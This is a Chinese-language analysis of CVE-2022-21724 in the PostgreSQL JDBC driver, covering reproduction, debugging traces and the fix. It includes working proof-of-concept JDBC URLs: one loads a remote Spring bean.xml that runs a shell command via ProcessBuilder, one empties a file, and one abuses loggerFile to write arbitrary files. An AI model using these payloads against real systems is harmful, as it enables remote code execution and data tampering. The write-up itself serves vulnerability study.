漏洞簡介
在 PostgreSQL 資料庫的 jdbc 驅動程式中發現一個安全漏洞。當攻擊者控制 jdbc url 或者屬性時,使用 PostgreSQL 資料庫的系統将受到攻擊。 pgjdbc 根據通過 authenticationPluginClassName、sslhostnameverifier、socketFactory 、sslfactory、sslpasswordcallback 連接配接屬性提供類名執行個體化插件執行個體。但是,驅動程式在執行個體化類之前沒有驗證類是否實作了預期的接口。這可能導緻通過任意類加載遠端代碼執行。
影響範圍:
9.4.1208 <=PgJDBC <42.2.25
42.3.0 <=PgJDBC < 42.3.2
漏洞複現
建立 maven 項目,添加依賴
<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context-support -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>5.3.23</version>
</dependency>
編寫測試代碼
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/bean.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
bean.xml
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式建立類-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
【一一幫助安全學習,所有資料關注我,私信回複“資料”擷取一一】
①網絡安全學習路線
②20份滲透測試電子書
③安全攻防357頁筆記
④50份安全攻防面試指南
⑤安全紅隊滲透工具包
⑥網絡安全必備書籍
⑦100個漏洞實戰案例
⑧安全大廠内部教程
漏洞分析
任意代碼執行 socketFactory/socketFactoryArg
先将調試後的流程大概畫出
java.sql.DriverManager#getConnection(java.lang.String)
java.sql.DriverManager#getConnection(java.lang.String, java.util.Properties, java.lang.Class<?>)
利用 org.postgresql.Driver 的 jdbc 驅動去連接配接資料庫
org.postgresql.Driver#connect
調用 makeConnection 去連接配接資料庫
org.postgresql.Driver#makeConnection
org.postgresql.jdbc.PgConnection#PgConnection
org.postgresql.core.ConnectionFactory#openConnection
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
org.postgresql.core.SocketFactoryFactory#getSocketFactory
PGProperty 是枚舉類型 其中的 get 方法是判斷枚舉項的值有沒有傳入的 properties,如果存在就查找傳回,沒有就傳回預設值
SOCKET_FACTORY(
"socketFactory",
null,
"Specify a socket factory for socket creation"),
SOCKET_FACTORY_ARG(
"socketFactoryArg",
null,
"Argument forwarded to constructor of SocketFactory class."),
org.postgresql.util.ObjectFactory#instantiate
通過 newInstance 來實作對 ctor 類 的建立,同時 args 作為參數。構造方法中有且隻有一個 String 參數的類就可以滿足條件。
- org.apache.commons.jxpath.functions.ConstructorFunction
- org.apache.commons.jxpath.functions.MethodFunction
- java.io.FileOutputStream
通過利用 CVE-2017-17485 實作 Spring spel 執行任意指令 或者利用 FileOutputStream 将任意檔案置空(jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=java.io.FileOutputStream&socketFactoryArg=test.txt)
任意代碼執行 sslfactory/sslfactoryarg
(https://xzfile.aliyuncs.com/media/upload/picture/20221107161250-f8d81774-5e73-1.gif)
<init>:85, ClassPathXmlApplicationContext (org.springframework.context.support)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
instantiate:62, ObjectFactory (org.postgresql.util)
getSslSocketFactory:64, SocketFactoryFactory (org.postgresql.core)
convert:34, MakeSSL (org.postgresql.ssl)
enableSSL:546, ConnectionFactoryImpl (org.postgresql.core.v3)
tryConnect:151, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnectionImpl:215, ConnectionFactoryImpl (org.postgresql.core.v3)
openConnection:51, ConnectionFactory (org.postgresql.core)
<init>:225, PgConnection (org.postgresql.jdbc)
makeConnection:466, Driver (org.postgresql)
connect:265, Driver (org.postgresql)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:17, cve202221724
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl
嘗試與資料庫進行連接配接
org.postgresql.core.v3.ConnectionFactoryImpl#tryConnect
建立連接配接後收到請求以 S 開頭,進入 org.postgresql.ssl.MakeSSL#convert
org.postgresql.core.v3.ConnectionFactoryImpl#enableSSL
org.postgresql.ssl.MakeSSL#convert
org.postgresql.core.SocketFactoryFactory#getSslSocketFactory
任意檔案寫入 loggerLevel/loggerFile
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class cve202221724 {
public static void main(String[] args) throws SQLException {
String loggerLevel = "debug";
String loggerFile = "test.txt";
String shellContent="test";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;
Connection connection = DriverManager.getConnection(jdbcUrl);
}
}
org.postgresql.Driver#connect
org.postgresql.Driver#setupLoggerFromProperties
通過 設定擴充參數 LOGGER_FILE 指定日志檔案儲存位置,沒有進行校驗,是以可以跨目錄的儲存檔案
生成臨時檔案,之後将日志資訊儲存到檔案中
org.postgresql.Driver#connect
先通過 setupLoggerFromProperties 設定相關的參數 然後再利用 LOGGER.log 儲存檔案
漏洞修複
針對代碼執行的漏洞而言,要求擷取的類名必須是指定類的子類,否則就抛出異常
對于任意檔案寫入而言,高版本中移除了對日志檔案的設定操作 setupLoggerFromProperties(props);